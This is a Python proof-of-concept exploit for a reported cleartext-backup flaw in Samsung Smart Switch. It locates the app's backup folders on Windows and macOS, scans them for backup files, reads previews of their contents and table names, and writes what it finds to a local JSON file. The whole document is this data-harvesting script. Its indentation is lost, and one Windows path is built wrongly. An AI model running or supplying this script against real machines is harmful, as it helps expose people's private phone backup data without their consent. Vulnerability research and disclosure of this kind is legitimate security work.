# CVE-2025-21060 - Samsung Smart Switch Cleartext Backup Data Access PoC
# This PoC demonstrates how a local attacker can access unencrypted backup data
# stored by Samsung Smart Switch prior to version 3.7.67.2
import os
import glob
import json
import sqlite3
from pathlib import Path
def find_smart_switch_backup_paths():
"""
Search for Samsung Smart Switch backup directories on the local system.
Smart Switch typically stores backups in user-accessible directories.
"""
possible_paths = []
# Windows default backup locations
if os.name == 'nt':
user_home = os.path.expanduser('~')
possible_paths.extend([
os.path.join(user_home, 'Documents', 'Samsung', 'SmartSwitch'),
os.path.join(user_home, 'AppData', 'Local', 'Samsung', 'SmartSwitch'),
os.path.join(user_home, 'AppData', 'Roaming', 'Samsung', 'SmartSwitch'),
os.path.join('C:', 'ProgramData', 'Samsung', 'SmartSwitch', 'Backup'),
])
# macOS default backup locations
elif os.name == 'posix':
user_home = os.path.expanduser('~')
possible_paths.extend([
os.path.join(user_home, 'Library', 'Application Support', 'Samsung', 'SmartSwitch'),
os.path.join(user_home, 'Documents', 'SmartSwitch'),
])
return [p for p in possible_paths if os.path.exists(p)]
def scan_backup_files(backup_dir):
"""
Scan for backup files within the Smart Switch backup directory.
Backup files may include .bak, .db, .zip, .tar, .json formats.
"""
backup_extensions = ['*.bak', '*.backup', '*.db', '*.sqlite', '*.zip',
'*.tar', '*.tar.gz', '*.json', '*.xml', '*.dat']
found_files = []
for ext in backup_extensions:
pattern = os.path.join(backup_dir, '**', ext)
found_files.extend(glob.glob(pattern, recursive=True))
return found_files
def extract_sensitive_data(backup_file):
"""
Attempt to extract readable/sensitive content from backup files.
Since data is stored in cleartext, content can be read directly.
"""
results = {
'file': backup_file,
'size': os.path.getsize(backup_file),
'content_preview': None,
'extracted_data': None
}
try:
# Try reading as plain text
with open(backup_file, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read(8192) # Read first 8KB
results['content_preview'] = content[:2000]
# Try reading as SQLite database
if backup_file.endswith(('.db', '.sqlite', '.sqlite3')):
try:
conn = sqlite3.connect(backup_file)
cursor = conn.cursor()
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
tables = cursor.fetchall()
results['extracted_data'] = {
'type': 'sqlite',
'tables': [t[0] for t in tables]
}
conn.close()
except sqlite3.DatabaseError:
pass
except Exception as e:
results['error'] = str(e)
return results
def main():
print("=" * 60)
print("CVE-2025-21060 PoC - Smart Switch Cleartext Backup Access")
print("=" * 60)
# Step 1: Find Smart Switch backup directories
print("\n[+] Searching for Smart Switch backup directories...")
backup_dirs = find_smart_switch_backup_paths()
if not backup_dirs:
print("[-] No Smart Switch backup directories found.")
print(" Note: Smart Switch must have performed a backup previously.")
return
print(f"[+] Found {len(backup_dirs)} potential backup location(s):")
for d in backup_dirs:
print(f" - {d}")
# Step 2: Scan for backup files
all_files = []
for backup_dir in backup_dirs:
print(f"\n[+] Scanning: {backup_dir}")
files = scan_backup_files(backup_dir)
print(f" Found {len(files)} backup file(s)")
all_files.extend(files)
if not all_files:
print("[-] No backup files found in the directories.")
return
# Step 3: Extract sensitive data from found files
print(f"\n[+] Extracting data from {len(all_files)} backup file(s)...")
extracted_results = []
for f in all_files[:10]: # Limit to first 10 files for demo
result = extract_sensitive_data(f)
extracted_results.append(result)
print(f"\n File: {result['file']}")
print(f" Size: {result['size']} bytes")
if result.get('content_preview'):
preview = result['content_preview'][:200]
print(f" Preview: {preview}...")
# Output results
output_file = 'cve_2025_21060_results.json'
with open(output_file, 'w') as f:
json.dump(extracted_results, f, indent=2, default=str)
print(f"\n[+] Results saved to: {output_file}")
print("\n[!] Vulnerability confirmed: Backup data is accessible in cleartext.")
print(" Affected versions: Smart Switch < 3.7.67.2")
if __name__ == '__main__':
main()